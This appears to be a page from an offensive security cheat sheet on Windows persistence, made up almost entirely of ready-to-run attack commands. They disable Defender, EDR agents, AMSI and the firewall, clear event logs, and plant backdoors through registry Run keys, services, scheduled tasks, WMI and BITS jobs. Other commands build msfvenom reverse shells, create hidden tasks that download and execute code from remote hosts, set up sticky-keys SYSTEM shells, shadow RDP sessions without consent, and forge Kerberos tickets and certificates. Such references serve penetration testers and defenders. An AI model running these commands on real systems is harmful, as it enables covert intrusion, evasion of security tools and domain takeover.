Skip to content

Windows - Persistence

Summary

Tools

Hide Your Binary

Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.

PS> attrib +h mimikatz.exe

Disable Antivirus and Security

Antivirus Removal

  • Sophos Removal Tool.ps1
  • Symantec CleanWipe
  • Elastic EDR/Security ps1 cd "C:\Program Files\Elastic\Agent\" PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstall Elastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:Y Elastic Agent has been uninstalled.

  • Cortex XDR ```ps1 # Global uninstall password: Password1 Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db Look for PasswordHash, PasswordSalt or password, salt strings.

    Disable Cortex: Change the DLL to a random value, then REBOOT

    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters /t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f

    Disables the agent on startup (requires reboot to work)

    cytool.exe startup disable

    Disables protection on Cortex XDR files, processes, registry and services

    cytool.exe protect disable

    Disables Cortex XDR (Even with tamper protection enabled)

    cytool.exe runtime disable

    Disables event collection

    cytool.exe event_collection disable ```

Disable Windows Defender

# Disable Defender
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true

## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install

# Disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# Disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1 

# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All

# Remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

# Disable Windows Defender Security Center
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

# Disable Real Time Protection
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

Disable Windows Firewall

Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off

# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP

Clear System and Security Logs

cmd.exe /c wevtutil.exe cl System
cmd.exe /c wevtutil.exe cl Security

Simple User

Set a file as hidden

attrib +h c:\autoexec.bat

Registry HKCU

Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.

Value name:  Backdoor
Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe

Using the command line 

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"

Using SharPersist

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Startup

Create a batch script in the user startup folder.

PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe

Using SharPersist

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Scheduled Tasks User

  • Using native schtask - Create a new task powershell # Create the scheduled tasks to run once at 00.00 schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe # Force run it now ! schtasks /run /tn "Device-Synchronize"

  • Using native schtask - Leverage the schtasks /change command to modify existing scheduled tasks powershell # Launch an executable by calling the ShellExec_RunDLL function. SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE

  • Using Powershell powershell PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe" PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta" PS C:\> $P = New-ScheduledTaskPrincipal "Rasta" PS C:\> $S = New-ScheduledTaskSettingsSet PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S PS C:\> Register-ScheduledTask Backdoor -InputObject $D

  • Using SharPersist ```powershell # Add to a current scheduled task SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

    Add new task

    SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly ```

BITS Jobs

bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe"  "C:\tmp\evil.exe"

# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor

# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor

Serviceland

IIS

IIS Raid – Backdooring IIS Using Native Modules

$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true

Windows Service

Using SharPersist

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Elevated

Registry HKLM

Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.

Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe

Using the command line 

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"

Winlogon Helper DLL

Run executable during Windows logon

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force

GlobalFlag

Run executable after notepad is killed

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"

Startup Elevated

Create a batch script in the user startup folder.

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Services Elevated

Create a service that will start automatically or on-demand.

# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab

# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add

# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
sc start Backdoor

Scheduled Tasks Elevated

Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.

Processes spawned as scheduled tasks have taskeng.exe process as their parent

# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D

# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]

##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System

##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System

##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System

##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System

##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

Windows Management Instrumentation Event Subscription

An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.

  • __EventFilter: Trigger (new process, failed logon etc.)
  • EventConsumer: Perform Action (execute payload etc.)
  • __FilterToConsumerBinding: Binds Filter and Consumer Classes
# Using CMD : Execute a binary 60 seconds after Windows started
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\""
# Remove it
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose

# Using Powershell (deploy)
$FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
# Using Powershell (remove)
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

Binary Replacement

Binary Replacement on Windows XP+

Feature Executable
Sticky Keys C:\Windows\System32\sethc.exe
Accessibility Menu C:\Windows\System32\utilman.exe
On-Screen Keyboard C:\Windows\System32\osk.exe
Magnifier C:\Windows\System32\Magnify.exe
Narrator C:\Windows\System32\Narrator.exe
Display Switcher C:\Windows\System32\DisplaySwitch.exe
App Switcher C:\Windows\System32\AtBroker.exe

In Metasploit : use post/windows/manage/sticky_keys

Binary Replacement on Windows 10+

Exploit a DLL hijacking vulnerability in the On-Screen Keyboard osk.exe executable.

Create a malicious HID.dll in C:\Program Files\Common Files\microsoft shared\ink\HID.dll.

RDP Backdoor

utilman.exe

At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

sethc.exe

Hit F5 a bunch of times when you are at the RDP login screen.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

Remote Desktop Services Shadowing

:warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.

Requirements: * RDP must be running

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
# 4 – View Session without user’s permission.

# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee’s session ID;
# /noconsentprompt parameter allows to bypass a shadowee’s permission and shadow their session without their consent;
# /prompt parameter is used to specify a user’s credentials to connect to a remote host.

Skeleton Key

# Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>

# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator

Virtual Machines

Based on the Shadow Bunny technique.

# download virtualbox
Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe

# perform a silent install and avoid creating desktop and quick launch icons
VirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0

# in \Program Files\Oracle\VirtualBox\VBoxManage.exe
# Disabling notifications
.\VBoxManage.exe setextradata global GUI/SuppressMessages "all" 

# Download the Virtual machine disk
Copy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd

# Create a new VM
$vmname = "IT Recovery"
.\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register

# Add a network card in NAT mode
.\VBoxManage.exe modifyvm $vmname --ioapic on  # required for 64bit
.\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128
.\VBoxManage.exe modifyvm $vmname --nic1 nat
.\VBoxManage.exe modifyvm $vmname --audio none
.\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga
.\VBoxManage.exe modifyvm $vmname --description "Shadowbunny"

# Mount the VHD file
.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata
.\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd" -port 0

# Start the VM
.\VBoxManage.exe startvm $vmname –type headless 


# optional - adding a shared folder
# require: VirtualBox Guest Additions
.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount
# then mount the folder in the VM
sudo mkdir /mnt/c
sudo mount -t vboxsf shadow_c /mnt/c

Domain

User Certificate

# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User

# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!

Golden Certificate

Require elevated privileges in the Active Directory, or on the ADCS machine

  • Export CA as p12 file: certsrv.msc > Right Click > Back up CA...
  • Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER ps1 privilege::debug crypto::capi crypto::cng crypto::certificates /systemstore:local_machine /store:my /export
  • Alternative 2: Using SharpDPAPI, then convert the certificate: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  • ForgeCert - Forge a certificate for any active domain user using the CA certificate ps1 ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123 ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
  • Finally you can request a TGT using the Certificate ps1 Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123

Golden Ticket

Forge a Golden ticket using Mimikatz

kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt

References

Last update: August 30, 2022